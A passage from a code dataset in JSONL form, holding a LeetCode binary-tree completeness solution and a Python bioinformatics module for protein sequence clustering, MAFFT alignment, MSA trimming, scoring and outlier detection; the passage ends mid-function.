+{"seq_id":"39605291735","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\n# BFS\nclass Solution:\n def isCompleteTree(self, root: TreeNode) -> bool:\n queue, idx = [root], 0\n while queue[idx]:\n queue.append(queue[idx].left)\n queue.append(queue[idx].right)\n idx += 1\n return not any(queue[idx:])\n\n# DFS\nclass Solution:\n def isCompleteTree(self, root: TreeNode) -> bool:\n def dfs(node):\n if not node:\n return 0\n left, right = dfs(node.left), dfs(node.right)\n if ((left & (left + 1) == 0 and left / 2 <= right <= left) or\n right & (right + 1) == 0 and right <= left <= right * 2 + 1):\n return left + right + 1\n else:\n return -1\n return dfs(root) > 0\n ","repo_name":"allenhyp/LeetCodePractice","sub_path":"958_Check_Completeness_of_a_Binary_Tree.py","file_name":"958_Check_Completeness_of_a_Binary_Tree.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"7566084478","text":"from alfpy import word_pattern, word_vector, word_distance\r\nfrom alfpy.utils import seqrecords, distmatrix\r\nfrom alfpy.utils.data import seqcontent\r\nimport os, threading, math, platform, hdbscan, copy\r\nfrom Bio import SeqIO\r\nfrom Bio.Align.Applications import MafftCommandline\r\nfrom Bio import AlignIO\r\nfrom Bio.Seq import Seq\r\nfrom Bio.Alphabet import SingleLetterAlphabet\r\nfrom Bio.Align import MultipleSeqAlignment\r\n\r\ndef protein_alphabet_reduce(proteinList, reduceNum):\r\n # Set up\r\n elevenLetter = {'E':'D','L':'I','M':'I','Q':'K','R':'K','T':'S','V':'I','W':'F','Y':'F'}\r\n fifteenLetter = {\"L\":\"L\",\"V\":\"L\",\"I\":\"L\",\"M\":\"L\",\"C\":\"C\",\"A\":\"A\",\"G\":\"G\",\"S\":\"S\",\"T\":\"T\",\"P\":\"P\",\"F\":\"F\",\"Y\":\"F\",\"W\":\"W\",\"E\":\"E\",\"D\":\"D\",\"N\":\"N\",\"Q\":\"Q\",\"K\":\"K\",\"R\":\"K\",\"H\":\"H\"}\r\n # Ensure reduceNum is sensible and hold onto the correct reduce dict OR return our unmodified protein list\r\n if reduceNum == None or reduceNum == 'n' or type(reduceNum) == bool:\r\n return proteinList # No modification is necessary\r\n elif int(reduceNum) == 11:\r\n reduceDict = elevenLetter\r\n elif int(reduceNum) == 15:\r\n reduceDict = fifteenLetter\r\n else:\r\n print('I didn\\'t recognise the reduceNum value provided to the protein_alphabet_reduce function. It should be None, \\'n\\', 11, or 15.')\r\n print('I\\'m just going to treat this as None... if you don\\'t want this behaviour, fix your input.')\r\n return proteinList # No modification is necessary\r\n # Ensure our proteinList is a list; if a single str is provided, make it a list (then return the str back from the function later)\r\n listAtEnd = True\r\n if type(proteinList) == str:\r\n proteinList = [proteinList]\r\n listAtEnd = False\r\n # Main function\r\n for i in range(len(proteinList)):\r\n newseq = ''\r\n for letter in proteinList[i]:\r\n if letter in reduceDict:\r\n newseq += reduceDict[letter]\r\n else:\r\n newseq += letter\r\n proteinList[i] = newseq\r\n # Return our modified list\r\n if listAtEnd == False:\r\n proteinList = proteinList[0]\r\n return proteinList\r\n\r\ndef alfree_matrix(fastaFile, wordSize, reduceNum, alfAlgorithm):\r\n # Read in unclustered domains file\r\n unclustDoms = open(fastaFile)\r\n records = seqrecords.read_fasta(unclustDoms)\r\n unclustDoms.close()\r\n # Extract details from records using alfpy-provided functions\r\n seqList = records.seq_list\r\n lengthList = records.length_list\r\n idList = records.id_list\r\n # Optional reduction of protein alphabet\r\n seqList = protein_alphabet_reduce(seqList, reduceNum)\r\n # Compute distance matrix for word sizes\r\n matrices = [] # Currently I'm not returning multiple matrices, but this exists to enable multiple word sizes to be used and combined\r\n wordSizes = [wordSize] # As above, not used now, but maybe in the future this will be relevant\r\n for num in wordSizes:\r\n p = word_pattern.create(seqList, word_size=wordSize)\r\n if alfAlgorithm == 'canberra':\r\n weightmodel = word_vector.WeightModel(seqcontent.get_weights('protein'))\r\n counts = word_vector.CountsWeight(lengthList, p, weightmodel)\r\n else:\r\n counts = word_vector.Counts(lengthList, p)\r\n dist = word_distance.Distance(counts, alfAlgorithm)\r\n matrices.append(distmatrix.create(idList, dist))\r\n # Return value\r\n return matrices, idList\r\n\r\n## Consider https://hdbscan.readthedocs.io/en/latest/api.html for detecting outliers via all_points_mutual_reachability\r\n\r\ndef cluster_hdb(leaf, singleClust, minSize, minSample, matrixList, idList):\r\n # Set up\r\n groupDicts = []\r\n # Convert our input values into relevant parameters\r\n if leaf == True:\r\n clustSelect = 'leaf'\r\n else:\r\n clustSelect = 'eom' # This is the default HDBSCAN clustering method\r\n if singleClust == True:\r\n allowSingle = True\r\n else:\r\n allowSingle = False\r\n # Run clustering algorithm for both word size matrices\r\n for matrix in matrixList: # This lets us possibly feed in multiple matrices; currently I'm not doing that since it doesn't seem to really help all too much\r\n clusterer = hdbscan.HDBSCAN(metric='precomputed', cluster_selection_method = clustSelect, min_cluster_size = int(minSize), min_samples = int(minSample), allow_single_cluster = allowSingle)\r\n clusterer.fit(matrix.data)\r\n # Pull out domain groups\r\n clust_groups = clusterer.labels_\r\n # Sort groups\r\n groupDict = {}\r\n for i in range(len(idList)):\r\n if clust_groups[i] != -1:\r\n if clust_groups[i] not in groupDict:\r\n groupDict[clust_groups[i]] = [idList[i]]\r\n else:\r\n groupDict[clust_groups[i]].append(idList[i])\r\n groupDicts.append(groupDict)\r\n # Merge word size matrices together if relevant\r\n if len(groupDicts) > 1:\r\n oldVals = []\r\n origLen = len(groupDicts[0])\r\n ongoingCount = 0\r\n for val in groupDicts[0].values():\r\n oldVals += val\r\n for key, value in groupDicts[1].items():\r\n skip = False\r\n for val in value:\r\n if val in oldVals:\r\n skip = True\r\n break\r\n if skip == True:\r\n continue\r\n else:\r\n groupDicts[0][ongoingCount + origLen] = value\r\n ongoingCount += 1\r\n return groupDicts[0]\r\n\r\ndef tmpdir_setup(tmpDir):\r\n # Main function\r\n if os.path.isdir(tmpDir):\r\n for file in os.listdir(tmpDir):\r\n filePath = os.path.join(tmpDir, file)\r\n try:\r\n if os.path.isfile(filePath):\r\n os.unlink(filePath)\r\n except Exception as e:\r\n print(e)\r\n else:\r\n os.mkdir(tmpDir)\r\n\r\ndef mafft_align_clust_dict(mafftdir, fastaFile, outputDir, prefix, suffix, threads, group_dict, algorithm):\r\n # Ensure that algorithm value is sensible\r\n if algorithm != None: # If this is None, we'll just use default MAFFT\r\n if algorithm.lower() not in ['genafpair', 'localpair', 'globalpair']:\r\n print('mafft_align: algorithm option must be an option in the below list. Fix this parameter and try again.')\r\n print(['genafpair', 'localpair', 'globalpair'])\r\n quit()\r\n # Define functions integral to this one\r\n def run_mafft(mafftdir, outputDir, prefix, suffix, fastaFile, startNum, endNum, thread, algorithm):\r\n # Set up\r\n for i in range(startNum, endNum):\r\n # Extract sequences for this cluster and write to file\r\n clustIDs = group_dict[i] # Our group_dict value is indexed by sequential integers, so we can split work load easily by an iterating loop\r\n tmpFasta = []\r\n records = SeqIO.parse(open(fastaFile, 'r'), 'fasta')\r\n for record in records:\r\n if record.id in clustIDs:\r\n tmpFasta.append('>' + record.id + '\\n' + str(record.seq))\r\n tmpName = os.path.join(outputDir, 'mafft_tmpfile_thread' + str(thread) + '.fasta')\r\n with open(tmpName, 'w') as fileOut:\r\n fileOut.write('\\n'.join(tmpFasta))\r\n # Run MAFFT\r\n if platform.system() == 'Windows':\r\n mafft_cline = MafftCommandline(os.path.join(mafftdir, 'mafft.bat'), input=tmpName)\r\n else:\r\n mafft_cline = MafftCommandline(os.path.join(mafftdir, 'mafft'), input=tmpName)\r\n if algorithm != None:\r\n if algorithm.lower() == 'genafpair':\r\n mafft_cline.genafpair = True\r\n elif algorithm.lower() == 'localpair':\r\n mafft_cline.localpair = True\r\n elif algorithm.lower() == 'globalpair':\r\n mafft_cline.globalpair = True\r\n stdout, stderr = mafft_cline()\r\n if stdout == '':\r\n raise Exception('MAFFT error text below' + str(stderr))\r\n # Process MAFFT output\r\n stdout = stdout.split('\\n')\r\n while stdout[-1] == '\\n' or stdout[-1] == '' or stdout[-1] == 'Terminate batch job (Y/N)?\\n': # Remove junk, sometimes MAFFT will have the 'Terminate ...' line\r\n del stdout[-1]\r\n stdout = '\\n'.join(stdout)\r\n # Create output alignment files\r\n with open(os.path.join(outputDir, prefix + str(i) + suffix), 'w') as fileOut:\r\n fileOut.write(stdout)\r\n # Clean up temp file\r\n os.unlink(tmpName)\r\n\r\n # Set up threading requirements # This threading system is derived from chunk_fasta in (what is currently called) domfind.py\r\n dict_size = len(group_dict)\r\n rawNum = dict_size / threads # In cases where threads > dict_size, rawNum will be less than 1. numRoundedUp will equal the number of threads, and so we'll end up rounding these to 1. Yay!\r\n numRoundedUp = round((rawNum % 1) * threads, 0) # By taking the decimal place and multiplying it by the num of threads, we can figure out how many threads need to be rounded up to process every cluster\r\n chunkPoints = []\r\n ongoingCount = 0\r\n for i in range(int(threads)):\r\n if i+1 <= numRoundedUp: # i.e., if two threads are being rounded up, we'll round up the first two loops of this\r\n chunkPoints.append([ongoingCount, math.ceil(rawNum) + ongoingCount]) # Round up the rawNum, and also add our ongoingCount which corresponds to the number of clusters already put into a chunk\r\n ongoingCount += math.ceil(rawNum) # Unlike chunk_fasta, we're storing a paired value of ongoingCount and the chunk point\r\n else: # Our mafft function iterates over a range, so we go up to and not including the last value; this system is compliant with that style of sorting\r\n chunkPoints.append([ongoingCount, math.floor(rawNum) + ongoingCount]) # Also note that group_dict is indexed starting from 0, so if group_dict len == 10, we want to iterate over range(0,10) since the last actual index is 9\r\n ongoingCount += math.floor(rawNum)\r\n if ongoingCount >= dict_size: # Without this check, if we have more threads than clusters, we can end up with \"extra\" numbers in the list (e.g., [1, 2, 3, 4, 5, 6, 6, 6, 6, 6]).\r\n break\r\n # Begin the loop\r\n processing_threads = []\r\n ongoingCount = 0\r\n for start, end in chunkPoints:\r\n build = threading.Thread(target=run_mafft, args=(mafftdir, outputDir, prefix, suffix, fastaFile, start, end, ongoingCount+1, algorithm))\r\n processing_threads.append(build)\r\n build.start()\r\n ongoingCount += 1\r\n\r\n # Wait for all threads to end.\r\n for process_thread in processing_threads:\r\n process_thread.join()\r\n\r\ndef mafft_align_file_list(mafftdir, outputDir, fileList, threads, algorithm):\r\n # Ensure that algorithm value is sensible\r\n if algorithm != None: # If this is None, we'll just use default MAFFT\r\n if algorithm.lower() not in ['genafpair', 'localpair', 'globalpair']:\r\n print('mafft_align: algorithm option must be an option in the below list. Fix this parameter and try again.')\r\n print(['genafpair', 'localpair', 'globalpair'])\r\n quit()\r\n # Define functions integral to this one\r\n def run_mafft(mafftdir, outputDir, fileList, startNum, endNum, thread, algorithm):\r\n # Set up\r\n for i in range(startNum, endNum):\r\n # Identify file to align\r\n fastaFile = fileList[i]\r\n # Run MAFFT\r\n if platform.system() == 'Windows':\r\n mafft_cline = MafftCommandline(os.path.join(mafftdir, 'mafft.bat'), input=fastaFile)\r\n else:\r\n mafft_cline = MafftCommandline(os.path.join(mafftdir, 'mafft'), input=fastaFile)\r\n if algorithm != None:\r\n if algorithm.lower() == 'genafpair':\r\n mafft_cline.genafpair = True\r\n elif algorithm.lower() == 'localpair':\r\n mafft_cline.localpair = True\r\n elif algorithm.lower() == 'globalpair':\r\n mafft_cline.globalpair = True\r\n stdout, stderr = mafft_cline()\r\n if stdout == '':\r\n raise Exception('MAFFT error text below' + str(stderr))\r\n # Process MAFFT output\r\n stdout = stdout.split('\\n')\r\n while stdout[-1] == '\\n' or stdout[-1] == '' or stdout[-1] == 'Terminate batch job (Y/N)?\\n': # Remove junk, sometimes MAFFT will have the 'Terminate ...' line\r\n del stdout[-1]\r\n stdout = '\\n'.join(stdout)\r\n # Create output alignment files\r\n fileOutName = os.path.basename(fastaFile).rsplit(\".\", maxsplit=1)[0] + \"_align.fasta\"\r\n with open(os.path.join(outputDir, fileOutName), 'w') as fileOut:\r\n fileOut.write(stdout)\r\n # Clean up temp file\r\n os.unlink(fastaFile)\r\n\r\n # Set up threading requirements # This threading system is derived from chunk_fasta in (what is currently called) domfind.py\r\n list_size = len(fileList)\r\n rawNum = list_size / threads # In cases where threads > dict_size, rawNum will be less than 1. numRoundedUp will equal the number of threads, and so we'll end up rounding these to 1. Yay!\r\n numRoundedUp = round((rawNum % 1) * threads, 0) # By taking the decimal place and multiplying it by the num of threads, we can figure out how many threads need to be rounded up to process every cluster\r\n chunkPoints = []\r\n ongoingCount = 0\r\n for i in range(int(threads)):\r\n if i+1 <= numRoundedUp: # i.e., if two threads are being rounded up, we'll round up the first two loops of this\r\n chunkPoints.append([ongoingCount, math.ceil(rawNum) + ongoingCount]) # Round up the rawNum, and also add our ongoingCount which corresponds to the number of clusters already put into a chunk\r\n ongoingCount += math.ceil(rawNum) # Unlike chunk_fasta, we're storing a paired value of ongoingCount and the chunk point\r\n else: # Our mafft function iterates over a range, so we go up to and not including the last value; this system is compliant with that style of sorting\r\n chunkPoints.append([ongoingCount, math.floor(rawNum) + ongoingCount]) # Also note that group_dict is indexed starting from 0, so if group_dict len == 10, we want to iterate over range(0,10) since the last actual index is 9\r\n ongoingCount += math.floor(rawNum)\r\n if ongoingCount >= list_size: # Without this check, if we have more threads than clusters, we can end up with \"extra\" numbers in the list (e.g., [1, 2, 3, 4, 5, 6, 6, 6, 6, 6]).\r\n break\r\n # Begin the loop\r\n processing_threads = []\r\n ongoingCount = 0\r\n for start, end in chunkPoints:\r\n build = threading.Thread(target=run_mafft, args=(mafftdir, outputDir, fileList, start, end, ongoingCount+1, algorithm))\r\n processing_threads.append(build)\r\n build.start()\r\n ongoingCount += 1\r\n\r\n # Wait for all threads to end.\r\n for process_thread in processing_threads:\r\n process_thread.join()\r\n\r\ndef msa_trim(msaFastaIn, pctTrim, minLength, outType, msaFastaOut, indivSeqDrop, skipOrDrop, pctTrimType='presence'):\r\n from collections import Counter\r\n '''msaFastaIn is the path to the aligned MSA FASTA file to be trimmed\r\n pctTrim refers to the minimum proportion of sequences present in a single column to demarcate the start and end of an alignment\r\n minLength refers to the minimum length of a MSA after trimming before we decide to not trim at all; if this value is less than 1,\r\n we assume it's a ratio, otherwise it is an absolute length. outType influences whether this function returns a Biopython MSA object\r\n (\"obj\") or an output file (\"file\") msaFastaOut is only relevant when outType == file; otherwise it will be ignored\r\n '''\r\n # Ensure outType is sensible\r\n if outType.lower() not in ['obj', 'file', 'both']:\r\n print('msa_trim: This function requires an outType to be specified with a specific format.')\r\n print('Your provided value \"' + outType + '\" should instead be \"obj\", to return the Biopython MSA object, \"file\" to produce an output file which uses the string provided as msaFastaOut, or \"both\" to do both aforementioned things.')\r\n print('Format this correctly and try again.')\r\n quit()\r\n if (outType.lower() == 'file' or outType.lower() == 'both') and not type(msaFastaOut) == str:\r\n print('msa_trim: You specified a file output but didn\\'t provide a string for msaFasta out - the file output name.')\r\n print('Format this correctly and try again.')\r\n quit()\r\n # Ensure pctTrimType is sensible\r\n if pctTrimType.lower() not in ['presence', 'identical']:\r\n print('msa_trim: This function requires a pctTrimType to be specified with a specific format.')\r\n print('Your provided value \"' + pctTrimType + '\" should does not meet specifications')\r\n print('Format this correctly and try again.')\r\n quit()\r\n # Process minLength and ensure it is sensible\r\n try:\r\n int(minLength)\r\n except:\r\n print('msa_trim: minLength must be an integer or capable of conversion to integer.')\r\n print('Format this correctly and try again.')\r\n quit()\r\n if minLength < 0:\r\n print('msa_trim: minLength must be greater than 0.')\r\n print('Format this correctly and try again.')\r\n quit()\r\n # Process indivSeqDrop and ensure it is sensible\r\n if indivSeqDrop != None:\r\n try:\r\n float(indivSeqDrop)\r\n if not 0 <= float(indivSeqDrop) <= 1:\r\n print('msa_trim: indivSeqDrop appears to be a float, but it is not a value from 0 to 1.')\r\n print('Format this correctly and try again.')\r\n quit()\r\n indivSeqDrop = float(indivSeqDrop)\r\n except:\r\n print('msa_trim: indivSeqDrop was not specified as None, but is also not capable of conversion to float.')\r\n print('Format this correctly and try again.')\r\n quit()\r\n # Process skipOrDrop and ensure it is sensible\r\n if skipOrDrop.lower() not in ['skip', 'drop']:\r\n print('msa_trim: skipOrDrop must equal \"skip\" or \"drop\"; I don\\'t recognise ' + skipOrDrop + '.')\r\n print('Format this correctly and try again.')\r\n quit()\r\n # Load in fasta file as MSA object\r\n msa = AlignIO.read(msaFastaIn, 'fasta')\r\n # Loop through aligned columns and find the first position from the 5' end that meets our pctTrim value\r\n if pctTrimType.lower() == 'presence':\r\n for i in range(len(msa[0].seq)):\r\n col = msa[:,i]\r\n pctBases = 1 - (col.count('-') / len(col))\r\n if pctBases <= pctTrim:\r\n continue\r\n break\r\n # Same but for 3' end\r\n for x in range(len(msa[0].seq), 0, -1):\r\n col = msa[:,x-1]\r\n pctBases = 1 - (col.count('-') / len(col))\r\n if pctBases <= pctTrim:\r\n continue\r\n break\r\n elif pctTrimType.lower() == 'identical':\r\n for i in range(len(msa[0].seq)):\r\n col = msa[:,i]\r\n colCount = Counter(col)\r\n identical = 0\r\n for key, value in colCount.items():\r\n if key != '-':\r\n if value > identical:\r\n identical = value\r\n pctBases = identical / len(col)\r\n if pctBases <= pctTrim:\r\n continue\r\n break\r\n # Same but for 3' end\r\n for x in range(len(msa[0].seq), 0, -1):\r\n col = msa[:,x-1]\r\n colCount = Counter(col)\r\n identical = 0\r\n for key, value in colCount.items():\r\n if key != '-':\r\n if value > identical:\r\n identical = value\r\n pctBases = identical / len(col)\r\n if pctBases <= pctTrim:\r\n continue\r\n break\r\n\r\n # Check our values to ensure they're sensible\r\n if i >= x: # If i >= x, that means we'd be trimming the sequence to 1bp or a negative value; in other words, we can't trim it at this pctTrim as printed below\r\n if skipOrDrop.lower() == 'skip':\r\n print('#\"' + os.path.basename(msaFastaIn) + '\" can\\'t be trimmed at this pctTrim value since no columns contain this proportion of sequences; no trimming will be performed.')\r\n return msa # If the user isn't expecting a returned object this should just disappear; if they want a file out, we won't modify it\r\n elif skipOrDrop.lower() == 'drop':\r\n print('#\"' + os.path.basename(msaFastaIn) + '\" can\\'t be trimmed at this pctTrim value since no columns contain this proportion of sequences; msa will be dropped.')\r\n return None\r\n # Compare our MSA length post-trimming to our specified cut-offs to determine whether we're doing anything to this sequence or not\r\n seqLen = x - i # This works out fine in 1-based notation\r\n if minLength < 1:\r\n ratio = seqLen / len(msa[0])\r\n if ratio < minLength:\r\n if skipOrDrop.lower() == 'skip':\r\n print('#\"' + os.path.basename(msaFastaIn) + '\" trimming reduces length more than minLength proportion cut-off; no trimming will be performed.')\r\n return msa # We're not going to make any changes if trimming shortens it too much\r\n elif skipOrDrop.lower() == 'drop':\r\n print('#\"' + os.path.basename(msaFastaIn) + '\" trimming reduces length more than minLength proportion cut-off; msa will be dropped.')\r\n return None\r\n else:\r\n if seqLen < minLength:\r\n if skipOrDrop.lower() == 'skip':\r\n print('#\"' + os.path.basename(msaFastaIn) + '\" trimming reduces length more than absolute minLength cut-off; no trimming will be performed.')\r\n return msa # As above\r\n elif skipOrDrop.lower() == 'drop':\r\n print('#\"' + os.path.basename(msaFastaIn) + '\" trimming reduces length more than absolute minLength cut-off; msa will be dropped.')\r\n return None\r\n # Trim our MSA object\r\n origMsa = copy.deepcopy(msa) # Since we're going to be making changes to the msa from here on but still might want to return the unedited msa, we need to create a backup\r\n newMsa = MultipleSeqAlignment([])\r\n for y in range(len(msa)): # Don't overwrite i from above! I made this mistake...\r\n msa[y].seq = Seq(str(msa[y].seq)[i:x], SingleLetterAlphabet())\r\n # Optionally remove sequences that don't appear to \"fit\" the alignment [i.e., contain a lot of gaps] according to user-specified gap proportion cut-off\r\n if indivSeqDrop != None:\r\n gapCount = str(msa[y].seq).count('-')\r\n gapProp = gapCount / len(msa[y].seq)\r\n if gapProp > indivSeqDrop:\r\n continue\r\n newMsa.append(msa[y])\r\n # If we dropped sequences, make sure we don't have any blank columns now\r\n if indivSeqDrop != None and len(newMsa) > 1:\r\n for a in range(len(newMsa[0].seq), 0, -1):\r\n col = newMsa[:,a-1]\r\n if set(col) == {'-'}:\r\n for b in range(len(newMsa)):\r\n newMsa[b].seq = Seq(str(newMsa[b].seq)[0:a-1] + str(newMsa[b].seq)[a:], SingleLetterAlphabet())\r\n # If we dropped sequences, ensure that our newMsa still has more than one entry in it\r\n if indivSeqDrop != None:\r\n if len(newMsa) < 2:\r\n if skipOrDrop.lower() == 'skip':\r\n print('#\"' + os.path.basename(msaFastaIn) + '\" removing gappy sequences according to indivSeqDrop cut-off means we do not have >= 2 sequences in this msa; no trimming will be performed.')\r\n return origMsa\r\n elif skipOrDrop.lower() == 'drop':\r\n print('#\"' + os.path.basename(msaFastaIn) + '\" removing gappy sequences according to indivSeqDrop cut-off means we do not have >= 2 sequences in this msa; msa will be dropped.')\r\n return None\r\n msa = newMsa\r\n # Return results either as the MSA object, as an output file, or as both\r\n if outType.lower() == 'file' or outType.lower() == 'both':\r\n with open(msaFastaOut, 'w') as fileOut:\r\n fileOut.write(msa.format('fasta'))\r\n if outType.lower() == 'obj' or outType.lower() == 'both':\r\n return msa\r\n\r\ndef msa_score(msa, scoringMethod, cutoff):\r\n # Set up\r\n import os\r\n from Bio import AlignIO\r\n import Bio.Align\r\n # Define functions integral to this one\r\n def blosum_score(pair):\r\n # Set up\r\n from Bio.SubsMat import MatrixInfo\r\n blosum = MatrixInfo.blosum62 # blosum62 seems to be the most commonly used matrix, I'll lean on consensus w/r/t which one is probably best here\r\n # Make sure pair is formatted correctly\r\n pair = (pair[0].upper(), pair[1].upper())\r\n if pair not in blosum:\r\n pair = tuple(reversed(pair))\r\n # Return the score\r\n return blosum[pair]\r\n def sumpairs_score(pair):\r\n if pair[0].upper() == pair[1].upper():\r\n return 1\r\n else:\r\n return 0\r\n # Determine what input we are receiving\r\n if type(msa) == Bio.Align.MultipleSeqAlignment:\r\n fileType = 'obj'\r\n elif type(msa) == str:\r\n if not os.path.isfile(msa):\r\n print('msa_score: You\\'ve provided a string input but it isn\\'t detected as a file.')\r\n print('Did you type the file name correctly, or do you need to provide the full path to it? Fix your input and try again.')\r\n quit()\r\n fileType = 'file'\r\n else:\r\n print('msa_score: You\\'ve provided an input type I am not compatible with.')\r\n print('The input should be a Bio.Align.MultipleSeqAlignment object or a string indicating the file location. Fix your input and try again.')\r\n quit()\r\n # If we're working with a file input, load it as an obj\r\n if fileType == 'file':\r\n msa = AlignIO.read(msa, 'fasta')\r\n # Loop through msa columns and perform pairwise scoring\r\n overallScores = []\r\n for i in range(len(msa[0].seq)):\r\n col = msa[:,i]\r\n colScores = []\r\n # Column scores based on possible pairs exclusive of '-'\r\n for x in range(len(col)-1):\r\n for y in range(x+1, len(col)):\r\n pair = (col[x].upper(), col[y].upper())\r\n if pair[0] != '-' and pair[1] != '-':\r\n if scoringMethod == 'blosum':\r\n colScores.append(blosum_score(pair))\r\n elif scoringMethod == 'sp':\r\n colScores.append(sumpairs_score(pair))\r\n else:\r\n continue\r\n # Average column score with penalty for gaps\r\n if colScores != []:\r\n colScore = (sum(colScores) / len(colScores)) * (1 - (col.count('-') / len(col)))\r\n else:\r\n colScore = 0 # If there is only a single letter, it receives no score\r\n overallScores.append(colScore)\r\n # Compare our overall score against cutoff and determine if this alignment is \"good enough\"\r\n finalScore = sum(overallScores) / len(overallScores)\r\n if finalScore >= cutoff:\r\n return True\r\n else:\r\n return False\r\n\r\ndef odseq_outlier_detect(msaFileNameList, rScriptDir, tmpDir, threshold, distMetric, bootStraps):\r\n # Set up\r\n import os, subprocess, pathlib\r\n ## Ensure input parameters are sensible\r\n # rScriptDir\r\n if rScriptDir == None:\r\n rScriptDir = '' # We'll assume Rscript is locatable in PATH if unspecified\r\n elif rScriptDir != '' and not (os.path.isfile(os.path.join(rScriptDir, 'Rscript.exe')) or os.path.isfile(os.path.join(rScriptDir, 'Rscript'))):\r\n print('odseq_outlier_detect: rScriptDir does not appear to contain the Rscript file.')\r\n print('Fix your input and try again.')\r\n quit()\r\n # tmpDir\r\n if tmpDir == None:\r\n tmpDir = '.' # We'll just put the file in the current directory if it isn't specified\r\n elif tmpDir != '' and not os.path.isdir(tmpDir):\r\n print('odseq_outlier_detect: tmpDir is not an existing directory or not able to be located.')\r\n print('Fix your input and try again.')\r\n quit()\r\n # threshold\r\n try:\r\n threshold = float(threshold)\r\n except:\r\n print('odseq_outlier_detect: threshold needs to be a float or capable of conversion to float.')\r\n print('Fix your input and try again.')\r\n quit()\r\n # distMetric\r\n if distMetric.lower() not in ['linear', 'affine']:\r\n print('odseq_outlier_detect: distMetric needs to be an option available in the list below. Fix your input and try again.')\r\n print(['linear', 'affine'])\r\n quit()\r\n # bootStraps\r\n try:\r\n bootStraps = int(bootStraps)\r\n except:\r\n print('odseq_outlier_detect: bootStraps needs to be an integer or capable of conversion to integer.')\r\n print('Fix your input and try again.')\r\n quit()\r\n # msaFileNameList\r\n if type(msaFileNameList) == str:\r\n msaFileNameList = [msaFileNameList]\r\n elif type(msaFileNameList) != list:\r\n print('odseq_outlier_detect: msaFileNameList type is not recognisable. It should be a list, but instead it is ' + str(type(msaFileNameList)) + '.')\r\n print('Fix your input and try again.')\r\n quit()\r\n if msaFileNameList == []:\r\n print('odseq_outlier_detect: msaFileNameList is empty. I don\\'t know what to do in this situation since it shouldn\\'t happen.')\r\n print('Code your call to this function properly to skip it.')\r\n quit()\r\n # Ensure that the msaFileNames are locatable\r\n ongoingCount = 0\r\n for fileName in msaFileNameList:\r\n if not os.path.isfile(fileName):\r\n print('odseq_outlier_detect: index ' + str(ongoingCount) + ' in msaFileNameList is not able to be located. You might need to specify the full path to the file.')\r\n print('Fix your input and try again.')\r\n quit()\r\n msaFileNameList[ongoingCount] = os.path.abspath(fileName)\r\n ongoingCount += 1\r\n # Create script file\r\n scriptText = ['library(\"msa\")', 'library(\"odseq\")']\r\n for fileName in msaFileNameList:\r\n fileName = pathlib.Path(fileName).as_posix()\r\n scriptText.append('filename = \"' + fileName + '\"')\r\n scriptText.append('alig <- readAAMultipleAlignment(filename)')\r\n scriptText.append('y <- odseq(alig, threshold = {}, distance_metric = \"{}\", B = {})'.format(threshold, distMetric.lower(), bootStraps))\r\n scriptText.append('print(filename)')\r\n scriptText.append('print(y)')\r\n scriptFile = file_name_gen(os.path.join(tmpDir, 'tmp_odseq_script'), '.R')\r\n with open(scriptFile, 'w') as fileOut:\r\n fileOut.write('\\n'.join(scriptText))\r\n # Format cmd\r\n cmd = '\"' + os.path.join(rScriptDir, 'Rscript') + '\" ' + scriptFile\r\n run_odseq = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE)\r\n odseqout, odseqerr = run_odseq.communicate()\r\n odseqout = odseqout.decode(\"utf-8\")\r\n if 'FALSE' not in odseqout and 'TRUE' not in odseqout: # Rscript writes module loading details to stderr so we need to check that it worked properly in other ways\r\n raise Exception('Rscript ODseq error text below' + str(odseqerr.decode(\"utf-8\")))\r\n # Parse ODseq results\r\n odseqTable = odseqout.split('[1]')\r\n if odseqTable[0] == '':\r\n del odseqTable[0]\r\n odseqDict = {}\r\n for i in range(len(odseqTable)):\r\n # Extract the chunk of information from this ODseq result\r\n chunk = odseqTable[i].split('\\n')\r\n del chunk[0] # We don't need the filename line anymore; printing it was useful enough to give us something to split by\r\n if chunk[-1] == '':\r\n del chunk[-1]\r\n # Assemble the boolean results in a list [Note that this is an ordered list which corresponds to the input MSA, hence why there should be no need to parse file names for reassociation - we already have msaFileNameList]\r\n odseqResults = []\r\n for x in range(len(chunk)):\r\n if x % 2 == 1: # i.e., if we're looking at an odd number in the list, it should be a boolean result line rather than sequence ID line\r\n sl = chunk[x].split() # It's probably overly cautious, but it does let us use sequences named 'TRUE' and 'FALSE' (why would you do this...) which a simple if == statement would not\r\n odseqResults += sl\r\n # Convert 'TRUE' to True, 'FALSE' to False\r\n for x in range(len(odseqResults)):\r\n if odseqResults[x] == 'TRUE':\r\n odseqResults[x] = True\r\n elif odseqResults[x] == 'FALSE':\r\n odseqResults[x] = False\r\n else:\r\n print('odseq_outlier_detect: unrecognised output in odseqResults (' + str(odseqResults[x]) + '). What\\'s going on?')\r\n quit()\r\n # Add to our dictionary using index as key [Refer to comment in brackets above, this should be an easy data structure to work with since msaFileNameList[0]'s result will be odseqDict[0]]\r\n odseqDict[i] = odseqResults\r\n # Ensure everything worked fine\r\n if len(odseqDict) != len(msaFileNameList):\r\n print('odseq_outlier_detect: length of odseqDict != length of msaFileNameList. Inspect the below stderr report to see what went wrong and try to fix it.')\r\n print(odseqerr.decode(\"utf-8\"))\r\n quit()\r\n # Clean up tmp file\r\n os.unlink(scriptFile)\r\n # Return results\r\n return odseqDict\r\n\r\ndef msa_outlier_detect(msaFileNameList, statsSave, removeIdentical):\r\n # Set up\r\n import hdbscan, statistics\r\n from Bio import AlignIO\r\n from Bio.Align import MultipleSeqAlignment\r\n import numpy as np\r\n # Set default HDBSCAN parameters for detecting outliers in MSA\r\n allowSingle = True # Making this user tunable is probably incorrect.\r\n clustSelect = 'eom' # This method is pretty imprecise as it stands,\r\n minSize = 2 # but it seems like these settings are the only\r\n minSample = 2 # ones that really \"work\"\r\n # Define functions integral to this one\r\n def sumpairs_score(pair):\r\n if pair[0].upper() == pair[1].upper():\r\n return 1\r\n else:\r\n return 0\r\n def pairwise_sumpairs_matrix(msa):\r\n spScore = []\r\n for a in range(len(msa)):\r\n spScore.append([])\r\n for b in range(len(msa)):\r\n colScores = []\r\n gapCount = 0\r\n if a == b:\r\n spScore[-1].append(0.00)\r\n continue\r\n for i in range(len(msa[a].seq)):\r\n pair = (msa[a][i], msa[b][i])\r\n if pair[0] != '-' and 